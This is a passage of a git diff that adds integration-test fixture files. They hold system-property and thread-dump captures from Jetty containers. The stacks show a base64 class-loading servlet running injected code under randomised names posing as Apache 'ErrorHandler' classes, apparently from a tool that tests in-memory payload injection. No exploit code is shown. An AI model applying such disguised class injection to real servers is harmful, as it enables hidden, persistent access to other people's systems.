app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:182) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:189) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:614) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:548) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:514) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:258) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produce(AdaptiveExecutionStrategy.java:195) + at app//org.eclipse.jetty.io.ManagedSelector$$Lambda/0x000000f001197a50.run(Unknown Source) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"Reference Handler" #9 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.7/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@21.0.7/java.lang.ref.Reference.processPendingReferences(Unknown Source) + at java.base@21.0.7/java.lang.ref.Reference$ReferenceHandler.run(Unknown Source) + +"qtp1529306539-28" #28 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@42cfe635 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.7/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.7/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@21.0.7/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at app//org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:213) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.idleJobPoll(QueuedThreadPool.java:1141) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1158) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"Common-Cleaner" #19 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1d034176 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.7/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.7/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@21.0.7/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@21.0.7/java.lang.ref.ReferenceQueue.await(Unknown Source) + at java.base@21.0.7/java.lang.ref.ReferenceQueue.remove0(Unknown Source) + at java.base@21.0.7/java.lang.ref.ReferenceQueue.remove(Unknown Source) + at java.base@21.0.7/jdk.internal.ref.CleanerImpl.run(Unknown Source) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + at java.base@21.0.7/jdk.internal.misc.InnocuousThread.run(Unknown Source) + +"qtp1529306539-32" #32 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.7/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.7/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.select(Unknown Source) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:182) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:189) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:614) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:548) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:514) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:258) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:201) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:311) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"Signal Dispatcher" #11 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"qtp1529306539-26" #26 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.7/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.7/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.select(Unknown Source) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:182) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:189) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:614) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:548) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:514) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:258) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:201) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:311) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"Scheduler-1408652377-1" #35 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ee37b71 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.7/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.7/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@21.0.7/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at java.base@21.0.7/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@21.0.7/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@21.0.7/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base@21.0.7/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base@21.0.7/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + + +=========================================== + +StackClassNames: +jakarta.Base64ClassLoaderServlet +jakarta.EmptyFilter +org.apache.mWhgb.ErrorHandler +org.eclipse.jetty.ee10.servlet.FilterHolder +org.eclipse.jetty.ee10.servlet.ResponseWriter +org.eclipse.jetty.ee10.servlet.ServletChannel +org.eclipse.jetty.ee10.servlet.ServletHandler +org.eclipse.jetty.ee10.servlet.ServletHandler$Chain +org.eclipse.jetty.ee10.servlet.ServletHandler$ChainEnd +org.eclipse.jetty.ee10.servlet.ServletHandler$MappedServlet +org.eclipse.jetty.ee10.servlet.ServletHolder +org.eclipse.jetty.ee10.servlet.ServletHolder$NotAsync +org.eclipse.jetty.ee10.servlet.SessionHandler +org.eclipse.jetty.io.AbstractConnection$ReadCallback +org.eclipse.jetty.io.FillInterest +org.eclipse.jetty.io.ManagedSelector +org.eclipse.jetty.io.ManagedSelector$$Lambda/0x000000f001197a50 +org.eclipse.jetty.io.ManagedSelector$SelectorProducer +org.eclipse.jetty.io.SelectableChannelEndPoint$1 +org.eclipse.jetty.security.SecurityHandler +org.eclipse.jetty.server.AbstractConnector$Acceptor +org.eclipse.jetty.server.Server +org.eclipse.jetty.server.ServerConnector +org.eclipse.jetty.server.handler.ContextHandler +org.eclipse.jetty.server.handler.ContextHandlerCollection +org.eclipse.jetty.server.internal.HttpChannelState$HandlerInvoker +org.eclipse.jetty.server.internal.HttpConnection +org.eclipse.jetty.util.BlockingArrayQueue +org.eclipse.jetty.util.thread.QueuedThreadPool +org.eclipse.jetty.util.thread.QueuedThreadPool$Runner +org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread +org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy diff --git a/integration-test/src/test/resources/infos/Jetty12ee8ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Jetty12ee8ContainerTestBasicInfo.txt new file mode 100644 index 00000000..899d20ca --- /dev/null +++ b/integration-test/src/test/resources/infos/Jetty12ee8ContainerTestBasicInfo.txt @@ -0,0 +1,348 @@ +# Generated At 2025-08-10 14:58:14 +SystemProps: +java.specification.version: 21 +sun.jnu.encoding: UTF-8 +java.class.path: /var/lib/jetty/resources:/usr/local/jetty/lib/logging/slf4j-api-2.0.17.jar:/usr/local/jetty/lib/logging/jetty-slf4j-impl-12.0.21.jar:/usr/local/jetty/lib/jetty-http-12.0.21.jar:/usr/local/jetty/lib/jetty-server-12.0.21.jar:/usr/local/jetty/lib/jetty-xml-12.0.21.jar:/usr/local/jetty/lib/jetty-util-12.0.21.jar:/usr/local/jetty/lib/jetty-io-12.0.21.jar:/usr/local/jetty/lib/jetty-deploy-12.0.21.jar:/usr/local/jetty/lib/jetty-session-12.0.21.jar:/usr/local/jetty/lib/jetty-security-12.0.21.jar:/usr/local/jetty/lib/jetty-ee-12.0.21.jar +java.vm.vendor: Eclipse Adoptium +sun.arch.data.model: 64 +java.vendor.url: https://adoptium.net/ +jetty.base: /var/lib/jetty +user.timezone: Etc/UTC +jetty.home: /usr/local/jetty +java.vm.specification.version: 21 +os.name: Linux +sun.java.launcher: SUN_STANDARD +user.country: US +sun.boot.library.path: /opt/java/openjdk/lib +sun.java.command: org.eclipse.jetty.xml.XmlConfiguration java.io.tmpdir=/tmp/jetty java.version=21.0.7 jetty.base=/var/lib/jetty jetty.base.uri=file:///var/lib/jetty jetty.home=/usr/local/jetty jetty.home.uri=file:///usr/local/jetty jetty.webapp.addHiddenClasses=org.eclipse.jetty.logging.,file:///usr/local/jetty/lib/logging/,org.slf4j. runtime.feature.alpn=true slf4j.version=2.0.17 /usr/local/jetty/etc/jetty-bytebufferpool.xml /usr/local/jetty/etc/jetty-threadpool.xml /usr/local/jetty/etc/jetty.xml /usr/local/jetty/etc/jetty-deploy.xml /usr/local/jetty/etc/sessions/id-manager.xml /usr/local/jetty/etc/jetty-ee-webapp.xml /usr/local/jetty/etc/jetty-http.xml --env ee8 -cp /usr/local/jetty/lib/jetty-servlet-api-4.0.6.jar -cp /usr/local/jetty/lib/jetty-ee8-nested-12.0.21.jar -cp /usr/local/jetty/lib/jetty-ee8-servlet-12.0.21.jar -cp /usr/local/jetty/lib/jetty-ee8-security-12.0.21.jar -cp /usr/local/jetty/lib/jetty-ee8-webapp-12.0.21.jar contextHandlerClass=org.eclipse.jetty.ee8.webapp.WebAppContext /usr/local/jetty/etc/jetty-ee8-webapp.xml /usr/local/jetty/etc/jetty-ee8-deploy.xml +jdk.debug: release +sun.cpu.endian: little +user.home: /var/lib/jetty +user.language: en +java.specification.vendor: Oracle Corporation +java.version.date: 2025-04-15 +java.home: /opt/java/openjdk +file.separator: / +java.vm.compressedOopsMode: Zero based +line.separator: + +java.vm.specification.vendor: Oracle Corporation +java.specification.name: Java Platform API Specification +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 21.0.7+6-LTS +user.name: jetty +stdout.encoding: UTF-8 +path.separator: : +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +java.runtime.name: OpenJDK Runtime Environment +file.encoding: UTF-8 +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.version: Temurin-21.0.7+6 +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +jetty.git.hash: 1c4719601e31b05b7d68910d2edd980259f1f53c +java.io.tmpdir: /tmp +java.version: 21.0.7 +user.dir: /var/lib/jetty +os.arch: aarch64 +java.vm.specification.name: Java Virtual Machine Specification +native.encoding: UTF-8 +java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +java.vm.info: mixed mode, sharing +stderr.encoding: UTF-8 +java.vendor: Eclipse Adoptium +java.vm.version: 21.0.7+6-LTS +sun.io.unicode.encoding: UnicodeLittle +java.class.version: 65.0 + +=========================================== + +ThreadStacks: +"qtp1529306539-33-acceptor-0@4f60e065-ServerConnector@28b46423{HTTP/1.1, (http/1.1)}{0.0.0.0:8080}" #33 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.7/sun.nio.ch.Net.accept(Native Method) + at java.base@21.0.7/sun.nio.ch.ServerSocketChannelImpl.implAccept(Unknown Source) + at java.base@21.0.7/sun.nio.ch.ServerSocketChannelImpl.accept(Unknown Source) + at app//org.eclipse.jetty.server.ServerConnector.accept(ServerConnector.java:389) + at app//org.eclipse.jetty.server.AbstractConnector$Acceptor.run(AbstractConnector.java:698) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"qtp1529306539-32" #32 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1eee4a23 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.7/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.7/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@21.0.7/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at app//org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:213) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.idleJobPoll(QueuedThreadPool.java:1141) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1158) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"DestroyJavaVM" #39 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"qtp1529306539-34" #34 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1eee4a23 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.7/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.7/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@21.0.7/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at app//org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:213) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.idleJobPoll(QueuedThreadPool.java:1141) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1158) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"qtp1529306539-37" #37 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.7/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.7/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.select(Unknown Source) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:182) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:189) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:614) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:548) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:514) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:258) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:201) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:311) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"qtp1529306539-36" #36 [TIMED_WAITING] on java.util.concurrent.Semaphore$NonfairSync@42b126c9 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.7/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.7/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@21.0.7/java.util.concurrent.locks.AbstractQueuedSynchronizer.acquire(Unknown Source) + at java.base@21.0.7/java.util.concurrent.locks.AbstractQueuedSynchronizer.tryAcquireSharedNanos(Unknown Source) + at java.base@21.0.7/java.util.concurrent.Semaphore.tryAcquire(Unknown Source) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.waitForTask(ReservedThreadExecutor.java:351) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:290) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"Scheduler-1408652377-1" #38 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fd80fe3 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.7/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.7/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@21.0.7/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at java.base@21.0.7/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@21.0.7/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@21.0.7/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base@21.0.7/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base@21.0.7/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"qtp1529306539-21" #21 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.7/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.7/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.select(Unknown Source) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:182) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:189) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:614) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:548) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:514) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:258) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produce(AdaptiveExecutionStrategy.java:195) + at app//org.eclipse.jetty.io.ManagedSelector$$Lambda/0x000000f80119df80.run(Unknown Source) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"Signal Dispatcher" #11 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"qtp1529306539-23" #23 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.7/java.lang.Thread.dumpThreads(Native Method) + at java.base@21.0.7/java.lang.Thread.getAllStackTraces(Unknown Source) + at org.apache.commons.njdxJ.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.base@21.0.7/java.lang.String.valueOf(Unknown Source) + at org.eclipse.jetty.ee8.nested.ResponseWriter.print(ResponseWriter.java:255) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.eclipse.jetty.ee8.servlet.ServletHolder$NotAsync.service(ServletHolder.java:1151) + at org.eclipse.jetty.ee8.servlet.ServletHolder.handle(ServletHolder.java:640) + at org.eclipse.jetty.ee8.servlet.ServletHandler$ChainEnd.doFilter(ServletHandler.java:1374) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.eclipse.jetty.ee8.servlet.FilterHolder.doFilter(FilterHolder.java:177) + at org.eclipse.jetty.ee8.servlet.ServletHandler$Chain.doFilter(ServletHandler.java:1348) + at org.eclipse.jetty.ee8.servlet.ServletHandler.doHandle(ServletHandler.java:454) + at org.eclipse.jetty.ee8.nested.ScopedHandler.handle(ScopedHandler.java:119) + at org.eclipse.jetty.ee8.security.SecurityHandler.handle(SecurityHandler.java:497) + at org.eclipse.jetty.ee8.nested.HandlerWrapper.handle(HandlerWrapper.java:108) + at org.eclipse.jetty.ee8.nested.ScopedHandler.nextHandle(ScopedHandler.java:183) + at org.eclipse.jetty.ee8.nested.SessionHandler.doHandle(SessionHandler.java:519) + at org.eclipse.jetty.ee8.nested.ScopedHandler.nextHandle(ScopedHandler.java:181) + at org.eclipse.jetty.ee8.nested.ContextHandler.doHandle(ContextHandler.java:885) + at org.eclipse.jetty.ee8.nested.ScopedHandler.nextScope(ScopedHandler.java:152) + at org.eclipse.jetty.ee8.servlet.ServletHandler.doScope(ServletHandler.java:423) + at org.eclipse.jetty.ee8.nested.ScopedHandler.nextScope(ScopedHandler.java:150) + at org.eclipse.jetty.ee8.nested.SessionHandler.doScope(SessionHandler.java:503) + at org.eclipse.jetty.ee8.nested.ScopedHandler.nextScope(ScopedHandler.java:150) + at org.eclipse.jetty.ee8.nested.ContextHandler.doScope(ContextHandler.java:830) + at org.eclipse.jetty.ee8.nested.ScopedHandler.handle(ScopedHandler.java:117) + at org.eclipse.jetty.ee8.nested.ContextHandler.handle(ContextHandler.java:1443) + at org.eclipse.jetty.ee8.nested.HttpChannel$RequestDispatchable.dispatch(HttpChannel.java:1289) + at org.eclipse.jetty.ee8.nested.HttpChannel.dispatch(HttpChannel.java:616) + at org.eclipse.jetty.ee8.nested.HttpChannel.handle(HttpChannel.java:459) + at org.eclipse.jetty.ee8.nested.ContextHandler$CoreContextHandler$CoreToNestedHandler.handle(ContextHandler.java:2450) + at app//org.eclipse.jetty.server.handler.ContextHandler.handle(ContextHandler.java:1071) + at app//org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:151) + at app//org.eclipse.jetty.server.Server.handle(Server.java:182) + at app//org.eclipse.jetty.server.internal.HttpChannelState$HandlerInvoker.run(HttpChannelState.java:665) + at app//org.eclipse.jetty.server.internal.HttpConnection.onFillable(HttpConnection.java:416) + at app//org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:322) + at app//org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:99) + at app//org.eclipse.jetty.io.SelectableChannelEndPoint$1.run(SelectableChannelEndPoint.java:53) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"qtp1529306539-31" #31 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.7/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.7/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.select(Unknown Source) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:182) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:189) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:614) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:548) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:514) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:258) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produce(AdaptiveExecutionStrategy.java:195) + at app//org.eclipse.jetty.io.ManagedSelector$$Lambda/0x000000f80119df80.run(Unknown Source) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"Notification Thread" #18 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Finalizer" #10 daemon [WAITING] on java.lang.ref.NativeReferenceQueue$Lock@5110f892 + java.lang.Thread.State: WAITING + at java.base@21.0.7/java.lang.Object.wait0(Native Method) + at java.base@21.0.7/java.lang.Object.wait(Unknown Source) + at java.base@21.0.7/java.lang.Object.wait(Unknown Source) + at java.base@21.0.7/java.lang.ref.NativeReferenceQueue.await(Unknown Source) + at java.base@21.0.7/java.lang.ref.ReferenceQueue.remove0(Unknown Source) + at java.base@21.0.7/java.lang.ref.NativeReferenceQueue.remove(Unknown Source) + at java.base@21.0.7/java.lang.ref.Finalizer$FinalizerThread.run(Unknown Source) + +"qtp1529306539-35" #35 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.7/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.7/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.select(Unknown Source) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:182) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:189) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:614) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:548) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:514) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:258) + at 